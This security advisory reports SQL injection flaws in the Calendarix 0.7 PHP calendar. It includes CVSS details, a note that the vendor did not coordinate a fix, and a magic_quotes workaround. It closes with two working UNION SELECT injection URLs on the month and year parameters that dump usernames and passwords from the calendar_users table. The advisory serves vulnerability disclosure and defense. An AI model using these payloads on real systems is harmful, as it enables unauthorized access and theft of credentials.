netVigilance Security Advisory #38
Calendarix version 0.7. 20070307 Multiple SQL Injection Vulnerabilities
Calendarix is a powerful and easy to use calendar based on PHP and MySQL. It has been developed with ease of use and quick access to information in mind. It provides the user with the quickest possible navigation and accessing the most commonly used functions in the shortest steps.
Successful exploitation requires PHP magic_quotes_gpc set to Off.
Mitre CVE: CVE-2007-3183
NVD NIST: CVE-2007-3128
Calendarix is a powerful and easy to use calendar based on PHP and MySQL.
A security problems in the product allow attackers to commit SQL injection attacks.
Access Vector: Remote
Access Complexity: High
Confidentiality Impact: Complete
Integrity Impact: Partial
Availability Impact: Partial
Impact Bias: Confidentiality
CVSS Base Score: 6.8
Target Distribution on Internet: Low
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
Vulnerability Impact: Attack
Host Impact: SQL Injection
SecureScout Testcase ID:
Calendarix version 0.7. 20070307
SQL injection allows malicious people to execute their own SQL scripts. This could be exploited to obtain sensitive data, modify database contents or acquire administrator's privileges.
Vincent Hor (Calendarix Enterprise)
Vincent Hor of Calendarix Enterprise was not interested in coordinating release of Patch and Security Advisory, There is no official solution at this time.
In the php.ini file set magic_quotes_gpc = On.
SQL Injection Attack Vulnerability 1:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month=' UNION SELECT 1, 1, `password`, `username` ,1 FROM `calendar_users` %23
[SQL INJECTION RESULT: ADMIN PASSWORD]
SQL Injection Attack Vulnerability 2:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month=&year=' UNION SELECT 1, 1, `password`, `username` ,1 FROM `calendar_users` %23
[SQL INJECTION RESULT: ALL USERS PASSWORD]